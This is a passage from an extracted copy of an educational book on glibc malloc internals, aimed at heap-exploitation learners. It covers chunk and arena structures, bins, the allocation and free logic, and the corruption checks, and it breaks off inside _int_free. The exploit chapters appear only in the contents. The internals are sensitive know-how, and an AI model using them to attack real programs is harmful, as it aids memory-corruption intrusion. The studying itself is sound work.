table of contents · understanding glibc malloc understanding the heap by breaking it before moving...
TRANSCRIPT
![Page 1: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/1.jpg)
![Page 2: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/2.jpg)
1.1
1.2
1.3
1.4
1.5
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.6
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.7
TableofContentsPreface
Author
Introduction
HeapMemory
Divingintoglibcheap
malloc_chunk
malloc_state
BinsandChunks
InternalFunctions
CoreFunctions
SecurityChecks
HeapExploitation
FirstFit
DoubleFree
Forgingchunks
UnlinkExploit
ShrinkingFreeChunks
HouseofSpirit
HouseofLore
HouseofForce
HouseofEinherjar
SecureCodingGuidelines
2
![Page 3: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/3.jpg)
HeapExploitationThisshortbookiswrittenforpeoplewhowanttounderstandtheinternalsof'heapmemory',particularlytheimplementationofglibc's'malloc'and'free'procedures,andalsoforsecurityresearcherswhowanttogetstartedinthefieldofheapexploitation.
Thefirstsectionofthebookcoversanin-depth,yetconcise,descriptionaboutheapinternals.Thesecondsectioncoverssomeofthemostfamousattacks.Itisassumedthatthereaderisunfamiliarwiththistopic.Forexperiencedreaders,thistextmightbegoodforaquickrevision.
Thisisnotthefinalversionandwillkeeponupdating.Forcontributingseethis.ThesourcecodeforthebookcanbefoundonGitHub.ThecanonicalURLforthebookishttps://heap-exploitation.dhavalkapil.com.Youcansubscribeforupdatesonthebookwebsite.
Readforfreeonline(recommended)ordownloadthePDForePUBorMobi/Kindleeditions.
YoucansupportthisbookbydonatingonGratipay.
ThisworkislicensedunderaCreativeCommonsAttribution-ShareAlike4.0InternationalLicense.
Preface
3
![Page 4: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/4.jpg)
AuthorIamDhavalKapil,alsoknownas'vampire'.Iamasoftwaresecurityenthusiast,alwaysreadinguportryingtofindvulnerabilitiesineverydaysoftware.I'llbegraduatingfromIndianInstituteofTechnologyRoorkee(IITRoorkee)inComputerSciencethisyear.IwaspartofSDSLabs,whereIdevelopedBackdoor.I'llbejoiningGeorgiaTechasaMaster'sstudentthisfall.SoftwaredevelopmentismyhobbyandI'vealsocompletedtheGoogleSummerofCodeprogramtwice.FindmeonGithubandTwitter.
Thisbookstartedoutasanarticleformyblog.Eventually,alotofmatterfilledinandittransformedintoashortbook.Theseareacollectionofmynotes,gatheredbylookingupvariousonlineresourcesregardingheapandheapexploitation.
Author
4
![Page 5: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/5.jpg)
IntroductionThisbookisforunderstandingthestructureofheapmemoryaswellasthedifferentkindsofexploitationtechniquesrelatedtoit.Thematerialprovidedcoversindetailtheimplementationofglibc'sheapandrelatedmemorymanagementfunctions.Next,differenttypesofattacksarediscussed.
PrerequisitesItisassumedthatthereaderisunfamiliarabouttheinternalsofstandardlibraryproceduressuchas'malloc'and'free'.However,basicknowledgeabout'C'andoverflowingthebufferisrequired.Thesecanbecoveredinthisblogpost.
SetupAlltheprogramsprovidedinthefollowingsectionsworkwellwithPOSIXcompatiblemachines.Onlytheimplementationofglibc'sheapisdiscussed.
Introduction
5
![Page 6: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/6.jpg)
Heapmemory
WhatisHeap?Heapisamemoryregionallottedtoeveryprogram.Unlikestack,heapmemorycanbedynamicallyallocated.Thismeansthattheprogramcan'request'and'release'memoryfromtheheapsegmentwheneveritrequires.Also,thismemoryisglobal,i.e.itcanbeaccessedandmodifiedfromanywherewithinaprogramandisnotlocalizedtothefunctionwhereitisallocated.Thisisaccomplishedusing'pointers'toreferencedynamicallyallocatedmemorywhichinturnleadstoasmalldegradationinperformanceascomparedtousinglocalvariables(onthestack).
Usingdynamicmemorystdlib.hprovideswithstandardlibraryfunctionstoaccess,modifyandmanagedynamicmemory.Commonlyusedfunctionsincludemallocandfree:
//Dynamicallyallocate10bytes
char*buffer=(char*)malloc(10);
strcpy(buffer,"hello");
printf("%s\n",buffer);//prints"hello"
//Frees/unallocatesthedynamicmemoryallocatedearlier
free(buffer);
Thedocumentationabout'malloc'and'free'says:
malloc:
HeapMemory
6
![Page 7: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/7.jpg)
/*
malloc(size_tn)
Returnsapointertoanewlyallocatedchunkofatleastn
bytes,ornullifnospaceisavailable.Additionally,on
failure,errnoissettoENOMEMonANSICsystems.
Ifniszero,mallocreturnsaminimum-sizedchunk.(The
minimumsizeis16bytesonmost32bitsystems,and24or32
byteson64bitsystems.)Onmostsystems,size_tisanunsigned
type,socallswithnegativeargumentsareinterpretedas
requestsforhugeamountsofspace,whichwilloftenfail.The
maximumsupportedvalueofndiffersacrosssystems,butisin
allcaseslessthanthemaximumrepresentablevalueofa
size_t.
*/
free:
/*
free(void*p)
Releasesthechunkofmemorypointedtobyp,thathadbeen
previouslyallocatedusingmallocorarelatedroutinesuchas
realloc.Ithasnoeffectifpisnull.Itcanhavearbitrary
(i.e.,bad!)effectsifphasalreadybeenfreed.
Unlessdisabled(usingmallopt),freeingverylargespaceswill
whenpossible,automaticallytriggeroperationsthatgive
backunusedmemorytothesystem,thusreducingprogram
footprint.
*/
Itisimportanttonotethatthesememoryallocationfunctionsareprovidedbythestandardlibrary.Thesefunctionsprovidealayerbetweenthedeveloperandtheoperatingsystemthatefficientlymanagesheapmemory.Itistheresponsibilityofthedeveloperto'free'anyallocatedmemoryafterusingitexactlyonce.Internally,thesefunctionsusetwosystemcallssbrkandmmaptorequestandreleaseheapmemoryfromtheoperatingsystem.Thispostdiscussesthesesystemcallsindetail.
HeapMemory
7
![Page 8: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/8.jpg)
DivingintoglibcheapInthissection,implementationofglibc'sheapmanagementfunctionswillbediscussedindepth.Theanalysiswasdoneonglibc'ssourcecodedated27thMarch2017.Thesourceisverywelldocumented.
Apartfromthesourcecode,thematterpresentedisinfluencedby:
UnderstandingglibcmallocUnderstandingtheheapbybreakingit
Beforemovingintotheimplementation,itisimportanttokeepthefollowingnotesinmind:
1. Insteadofsize_t,INTERNAL_SIZE_Tisusedinternally(whichbydefaultisequaltosize_t).
2. Alignmentisdefinedas2*(sizeof(size_t)).
3. MORECOREisdefinedastheroutinetocalltoobtainmorememory.Bydefaultitisdefinedassbrk.
Next,weshallstudythedifferentdatatypesusedinternally,bins,chunks,andinternalsofthedifferentfunctionsused.
AdditionalResources1. r2Con2016GlibcHeapAnalysiswithradare2video
Divingintoglibcheap
8
![Page 9: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/9.jpg)
malloc_chunkThisstructurerepresentsaparticularchunkofmemory.Thevariousfieldshavedifferentmeaningforallocatedandunallocatedchunks.
structmalloc_chunk{
INTERNAL_SIZE_Tmchunk_prev_size;/*Sizeofpreviouschunk(iffree).*/
INTERNAL_SIZE_Tmchunk_size;/*Sizeinbytes,includingoverhead.*/
structmalloc_chunk*fd;/*doublelinks--usedonlyiffree.*/
structmalloc_chunk*bk;
/*Onlyusedforlargeblocks:pointertonextlargersize.*/
structmalloc_chunk*fd_nextsize;/*doublelinks--usedonlyiffree.*/
structmalloc_chunk*bk_nextsize;
};
typedefstructmalloc_chunk*mchunkptr;
Allocatedchunk
chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofpreviouschunk,ifunallocated(Pclear)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofchunk,inbytes|A|M|P|
mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Userdatastartshere....
..
.(malloc_usable_size()bytes).
.|
nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|(sizeofchunk,butusedforapplicationdata)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofnextchunk,inbytes|A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Noticehowthedataofanallocatedchunkusesthefirstattribute(mchunk_prev_size)ofthenextchunk.memisthepointerwhichisreturnedtotheuser.
Freechunk
malloc_chunk
9
![Page 10: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/10.jpg)
chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofpreviouschunk,ifunallocated(Pclear)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:'|Sizeofchunk,inbytes|A|0|P|
mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Forwardpointertonextchunkinlist|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Backpointertopreviouschunkinlist|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Unusedspace(maybe0byteslong).
..
.|
nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:'|Sizeofchunk,inbytes|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofnextchunk,inbytes|A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Freechunksmaintainthemselvesinacirculardoublylinkedlist.
P(PREV_INUSE):0whenpreviouschunk(notthepreviouschunkinthelinkedlist,buttheonedirectlybeforeitinmemory)isfree(andhencethesizeofpreviouschunkisstoredinthefirstfield).Theveryfirstchunkallocatedhasthisbitset.Ifitis1,thenwecannotdeterminethesizeofthepreviouschunk.
M(IS_MMAPPED):Thechunkisobtainedthroughmmap.Theothertwobitsareignored.mmappedchunksareneitherinanarena,notadjacenttoafreechunk.
A(NON_MAIN_ARENA):0forchunksinthemainarena.Eachthreadspawnedreceivesitsownarenaandforthosechunks,thisbitisset.
Note:Chunksinfastbinsaretreatedasallocatedchunksinthesensethattheyarenotconsolidatedwithneighboringfreechunks.
malloc_chunk
10
![Page 11: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/11.jpg)
malloc_stateThisstructurerepresentstheheaderdetailsofanArena.Themainthread'sarenaisaglobalvariableandnotpartoftheheapsegment.Arenaheaders(malloc_statestructures)forotherthreadsarethemselvesstoredintheheapsegment.Nonmainarenascanhavemultipleheaps('heap'herereferstotheinternalstructureusedinsteadoftheheapsegment)associatedwiththem.
structmalloc_state
{
/*Serializeaccess.*/
__libc_lock_define(,mutex);
/*Flags(formerlyinmax_fast).*/
intflags;
/*Fastbins*/
mfastbinptrfastbinsY[NFASTBINS];
/*Baseofthetopmostchunk--nototherwisekeptinabin*/
mchunkptrtop;
/*Theremainderfromthemostrecentsplitofasmallrequest*/
mchunkptrlast_remainder;
/*Normalbinspackedasdescribedabove*/
mchunkptrbins[NBINS*2-2];
/*Bitmapofbins*/
unsignedintbinmap[BINMAPSIZE];
/*Linkedlist*/
structmalloc_state*next;
/*Linkedlistforfreearenas.Accesstothisfieldisserialized
byfree_list_lockinarena.c.*/
structmalloc_state*next_free;
/*Numberofthreadsattachedtothisarena.0ifthearenaison
thefreelist.Accesstothisfieldisserializedby
free_list_lockinarena.c.*/
INTERNAL_SIZE_Tattached_threads;
/*Memoryallocatedfromthesysteminthisarena.*/
INTERNAL_SIZE_Tsystem_mem;
INTERNAL_SIZE_Tmax_system_mem;
};
typedefstructmalloc_state*mstate;
malloc_state
11
![Page 12: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/12.jpg)
malloc_state
12
![Page 13: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/13.jpg)
BinsandChunksAbinisalist(doublyorsinglylinkedlist)offree(non-allocated)chunks.Binsaredifferentiatedbasedonthesizeofchunkstheycontain:
1. Fastbin2. Unsortedbin3. Smallbin4. Largebin
Fastbinsaremaintainedusing:
typedefstructmalloc_chunk*mfastbinptr;
mfastbinptrfastbinsY[];//Arrayofpointerstochunks
Unsorted,smallandlargebinsaremaintainedusingasinglearray:
typedefstructmalloc_chunk*mchunkptr;
mchunkptrbins[];//Arrayofpointerstochunks
Initially,duringtheinitializationprocess,smallandlargebinsareempty.
Eachbinisrepresentedbytwovaluesinthebinsarray.Thefirstoneisapointertothe'HEAD'andthesecondoneisapointertothe'TAIL'ofthebinlist.Inthecaseoffastbins(singlylinkedlist),thesecondvalueisNULL.
FastbinsThereare10fastbins.Eachofthesebinsmaintainsasinglelinkedlist.Additionanddeletionhappenfromthefrontofthislist(LIFOmanner).
Eachbinhaschunksofthesamesize.The10binseachhavechunksofsizes:16,24,32,40,48,56,64,72,80and88.Sizesmentionedhereincludemetadataaswell.Tostorechunks,4fewerbyteswillbeavailable(onaplatformwherepointersuse4bytes).Onlytheprev_sizeandsizefieldofthischunkwillholdmetadataforallocatedchunks.prev_sizeofnextcontiguouschunkwillholduserdata.
Notwocontiguousfreefastchunkscoalescetogether.
BinsandChunks
13
![Page 14: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/14.jpg)
UnsortedbinThereisonly1unsortedbin.Smallandlargechunks,whenfreed,endupinthisbin.Theprimarypurposeofthisbinistoactasacachelayer(kindof)tospeedupallocationanddeallocationrequests.
SmallbinsThereare62smallbins.Smallbinsarefasterthanlargebinsbutslowerthanfastbins.Eachbinmaintainsadoubly-linkedlist.Insertionshappenatthe'HEAD'whileremovalshappenatthe'TAIL'(inaFIFOmanner).
Likefastbins,eachbinhaschunksofthesamesize.The62binshavesizes:16,24,...,504bytes.
Whilefreeing,smallchunksmaybecoalescedtogetherbeforeendingupinunsortedbins.
LargebinsThereare63largebins.Eachbinmaintainsadoubly-linkedlist.Aparticularlargebinhaschunksofdifferentsizes,sortedindecreasingorder(i.e.largestchunkatthe'HEAD'andsmallestchunkatthe'TAIL').Insertionsandremovalshappenatanypositionwithinthelist.
Thefirst32binscontainchunkswhichare64bytesapart:
1stbin:512-568bytes2ndbin:576-632bytes..
Tosummarize:
No.ofBinsSpacingbetweenbins
64binsofsize8[Smallbins]
32binsofsize64[Largebins]
16binsofsize512[Largebins]
8binsofsize4096[..]
4binsofsize32768
2binsofsize262144
1binofsizewhat'sleft
BinsandChunks
14
![Page 15: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/15.jpg)
Likesmallchunks,whilefreeing,largechunksmaybecoalescedtogetherbeforeendingupinunsortedbins.
Therearetwospecialtypesofchunkswhicharenotpartofanybin.
TopchunkItisthechunkwhichbordersthetopofanarena.Whileservicing'malloc'requests,itisusedasthelastresort.Ifstillmoresizeisrequired,itcangrowusingthesbrksystemcall.ThePREV_INUSEflagisalwayssetforthetopchunk.
LastremainderchunkItisthechunkobtainedfromthelastsplit.Sometimes,whenexactsizechunksarenotavailable,biggerchunksaresplitintotwo.Onepartisreturnedtotheuserwhereastheotherbecomesthelastremainderchunk.
BinsandChunks
15
![Page 16: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/16.jpg)
InternalfunctionsThisisalistofsomecommonfunctionsusedinternally.Notethatsomefunctionsareinfactdefinedusingthe#definedirective.So,changestocallparametersareinfactretainedafterthecall.Also,itisassumedthatMALLOC_DEBUGisnotset.
arena_get(ar_ptr,size)Acquiresanarenaandlocksthecorrespondingmutex.ar_ptrissettopointtothecorrespondingarena.sizeisjustahintastohowmuchmemorywillberequiredimmediately.
sysmalloc[TODO]
/*
sysmallochandlesmalloccasesrequiringmorememoryfromthesystem.
Onentry,itisassumedthatav->topdoesnothaveenough
spacetoservicerequestfornbbytes,thusrequiringthatav->top
beextendedorreplaced.
*
voidalloc_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte^0xff.
voidfree_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte.
voidmalloc_init_state(mstateav)
InternalFunctions
16
![Page 17: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/17.jpg)
/*
Initializeamalloc_statestruct.
Thisiscalledonlyfromwithinmalloc_consolidate,whichneeds
becalledinthesamecontextsanyway.Itisnevercalleddirectly
outsideofmalloc_consolidatebecausesomeoptimizingcompilerstry
toinlineitatallcallpoints,whichturnsoutnottobean
optimizationatall.(Inliningitinmalloc_consolidateisfinethough.)
*/
1. Fornonfastbins,createemptycircularlinkedlistsforeachbin.2. SetFASTCHUNKS_BITflagforav.3. Initializeav->toptothefirstunsortedchunk.
unlink(AV,P,BK,FD)Thisisadefinedmacrowhichremovesachunkfromabin.
1. Checkifchunksizeisequaltotheprevioussizesetinthenextchunk.Else,anerror("corruptedsizevs.prev_size")isthrown.
2. CheckifP->fd->bk==PandP->bk->fd==P.Else,anerror("corrupteddouble-linkedlist")isthrown.
3. Adjustforwardandbackwardpointersofneighboringchunks(inlist)tofacilitateremoval:i. SetP->fd->bk=P->bk.ii. SetP->bk->fd=P->fd.
voidmalloc_consolidate(mstateav)Thisisaspecializedversionoffree().
1. Chechifglobal_max_fastis0(avnotinitialized)ornot.Ifitis0,callmalloc_init_statewithavasparameterandreturn.
2. Ifglobal_max_fastisnon-zero,cleartheFASTCHUNKS_BITforav.3. Iterateonthefastbinarrayfromfirsttolastindices:
i. Getalockonthecurrentfastbinchunkandproceedifnotnull.ii. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.iii. Ifnextchunk(bymemory)isnottopchunk:
i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfree,andthenadd
theconsolidatedchunktotheheadofunsortedbin.
InternalFunctions
17
![Page 18: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/18.jpg)
iv. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.
Note:Thecheckfor'inuse'isdoneusingPREV_IN_USEflag.Hence,otherfastbinchunkswon'tidentifiedasfreehere.
InternalFunctions
18
![Page 19: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/19.jpg)
Corefunctions
void*_int_malloc(mstateav,size_tbytes)1. Updatesbytestotakecareofalignments,etc.2. ChecksifavisNULLornot.3. Inthecaseofabsenceofusablearena(whenavisNULL),callssysmalloctoobtain
chunkusingmmap.Ifsuccessful,callsalloc_perturb.Returnsthepointer.4.
Ifsizefallsinthefastbinrange:
i. Getindexintothefastbinarraytoaccessanappropriatebinaccordingtotherequestsize.
ii. Removesthefirstchunkinthatbinandmakevictimpointtoit.iii. IfvictimisNULL,moveontothenextcase(smallbin).iv. IfvictimisnotNULL,checkthesizeofthechunktoensurethatitbelongsto
thatparticularbin.Anerror("malloc():memorycorruption(fast)")isthrownotherwise.
v. Callsalloc_perturbandthenreturnsthepointer.Ifsizefallsinthesmallbinrange:
i. Getindexintothesmallbinarraytoaccessanappropriatebinaccordingtotherequestsize.
ii. Iftherearenochunksinthisbin,moveontothenextcase.Thisischeckedbycomparingthepointersbinandbin->bk.
iii. victimismadeequaltobin->bk(thelastchunkinthebin).IfitisNULL(happensduringinitialization),callmalloc_consolidateandskipthiscompletestepofcheckingintodifferentbins.
iv. Otherwise,whenvictimisnonNULL,checkifvictim->bk->fdandvictimareequalornot.Iftheyarenotequal,anerror("malloc():smallbindoublelinkedlistcorrupted")isthrown.
v. SetsthePREV_INSUSEbitforthenextchunk(inmemory,notinthedoublylinkedlist)forvictim.
vi. Removethischunkfromthebinlist.vii. Settheappropriatearenabitforthischunkdependingonav.viii. Callsalloc_perturbandthenreturnsthepointer.Ifsizedoesnotfallinthesmallbinrange:
i. Getindexintothelargebinarraytoaccessanappropriatebinaccordingtothe
CoreFunctions
19
![Page 20: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/20.jpg)
requestsize.ii. Seeifavhasfastchunksornot.Thisisdonebycheckingthe
FASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.5. Ifnopointerhasyetbeenreturned,thissignifiesoneormoreofthefollowingcases:
i. Sizefallsinto'fastbin'rangebutnofastchunkisavailable.ii. Sizefallsinto'smallbin'rangebutnosmallchunkisavailable(calls
malloc_consolidateduringinitialization).iii. Sizefallsinto'largbin'range.
6. Next,unsortedchunksarecheckedandtraversedchunksareplacedintobins.Thisistheonlyplacewherechunksareplacedintobins.Iteratetheunsortedbinfromthe'TAIL'.
i. victimpointstothecurrentchunkbeingconsidered.ii. Checkifvictim'schunksizeiswithinminimum(2*SIZE_SZ)andmaximum(av-
>system_mem)range.Throwanerror("malloc():memorycorruption")otherwise.iii. If(sizeofrequestedchunkfallsinsmallbinrange)and(victimisthelast
remainderchunk)and(itistheonlychunkintheunsortedbin)and(thechunkssize>=theonerequested):Breakthechunkinto2chunks:
Thefirstchunkmatchesthesizerequestedandisreturned.Leftoverchunkbecomesthenewlastremainderchunk.Itisinsertedbackintotheunsortedbin.i. Setchunk_sizeandchunk_prev_sizefieldsappropriatelyforbothchunks.
ii. Thefirstchunkisreturnedaftercallingalloc_perturb.iv. Iftheaboveconditionisfalse,controlreacheshere.Removevictimfromthe
unsortedbin.Ifthesizeofvictimmatchesthesizerequestedexactly,returnthischunkaftercallingalloc_perturb.
v. Ifvictim'ssizefallsinsmallbinrange,addthechunkintheappropriatesmallbinattheHEAD.
vi. Elseinsertintoappropriatelargebinwhilemaintainingsortedorder:Firstchecksthelastchunk(smallest).Ifvictimissmallerthanthelastchunk,insertitatthelast.Otherwise,looptofindachunkwithsize>=sizeofvictim.Ifsizeisexactlysame,alwaysinsertinthesecondposition.
vii. RepeatthiswholestepamaximumofMAX_ITERS(10000)timesortillallchunksinunsortedbingetexhausted.
7. Aftercheckingunsortedchunks,checkifrequestedsizedoesnotfallinthesmallbinrange,ifsothenchecklargebins.
i. Getindexintolargebinarraytoaccessanappropriatebinaccordingtotherequestsize.
CoreFunctions
20
![Page 21: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/21.jpg)
ii. Ifthesizeofthelargestchunk(thefirstchunkinthebin)isgreaterthanthesizerequested:i. Iteratefrom'TAIL'tofindachunk(victim)withthesmallestsize>=therequestedsize.
ii. Callunlinktoremovethevictimchunkfromthebin.iii. Calculateremainder_sizeforthevictim'schunk(thiswillbevictim's
chunksize-requestedsize).iv. Ifthisremainder_size>=MINSIZE(theminimumchunksizeincludingthe
headers),splitthechunkintotwochunks.Otherwise,theentirevictimchunkwillbereturned.Inserttheremainderchunkintheunsortedbin(atthe'TAIL'end).Acheckismadeinunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks").
v. Returnthevictimchunkaftercallingalloc_perturb.8. Tillnow,wehavecheckedunsortedbinandalsotherespectivefast,smallorlargebin.
Notethatasinglebin(fastorsmall)wascheckedusingtheexactsizeoftherequestedchunk.Repeatthefollowingstepstillallbinsareexhausted:
i. Theindexintobinarrayisincrementedtocheckthenextbin.ii. Useav->binmapmaptoskipoverbinsthatareempty.iii. victimispointedtothe'TAIL'ofthecurrentbin.iv. Usingthebinmapensuresthatifabinisskipped(intheabove2ndstep),itis
definitelyempty.However,itdoesnotensurethatallemptybinswillbeskipped.Checkifthevictimisemptyornot.Ifempty,againskipthebinandrepeattheaboveprocess(or'continue'thisloop)tillwearriveatanonemptybin.
v. Splitthechunk(victimpointstothelastchunkofanonemptybin)intotwochunks.Inserttheremainderchunkinunsortedbin(atthe'TAIL'end).Acheckismadeintheunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks2").
vi. Returnthevictimchunkaftercallingalloc_perturb.9. Ifstillnoemptybinisfound,'top'chunkwillbeusedtoservicetherequest:
i. victimpointstoav->top.ii. Ifsizeof'top'chunk>='requestedsize'+MINSIZE,splititintotwochunks.Inthis
case,theremainderchunkbecomesthenew'top'chunkandtheotherchunkisreturnedtotheuseraftercallingalloc_perturb.
iii. Seeifavhasfastchunksornot.ThisisdonebycheckingtheFASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.Returntostep6(wherewecheckunsortedbin).
iv. Ifavdoesnothavefastchunks,callsysmallocandreturnthepointerobtained
CoreFunctions
21
![Page 22: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/22.jpg)
aftercallingalloc_perturb.
__libc_malloc(size_tbytes)1. Callsarena_gettogetanmstatepointer.2. Calls_int_mallocwiththearenapointerandthesize.3. Unlocksthearena.4. Beforereturningthepointertothechunk,oneofthefollowingshouldbetrue:
ReturnedpointerisNULLChunkisMMAPPEDArenaforchunkisthesameastheonefoundin1.
_int_free(mstateav,mchunkptrp,inthave_lock)1. Checkwhetherpisbeforep+chunksize(p)inthememory(toavoidwrapping).An
error("free():invalidpointer")isthrownotherwise.2. CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT.
Anerror("free():invalidsize")isthrownotherwise.3. Ifthechunk'ssizefallsinfastbinlist:
i. Checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem),throwanerror("free():invalidnextsize(fast)")otherwise.
ii. Callsfree_perturbonthechunk.iii. SetFASTCHUNKS_BITforav.iv. Getindexintofastbinarrayaccordingtochunksize.v. Checkifthetopofthebinisnotthechunkwearegoingtoadd.Otherwise,throw
anerror("doublefreeorcorruption(fasttop)").vi. Checkifthesizeofthefastbinchunkatthetopisthesameasthechunkweare
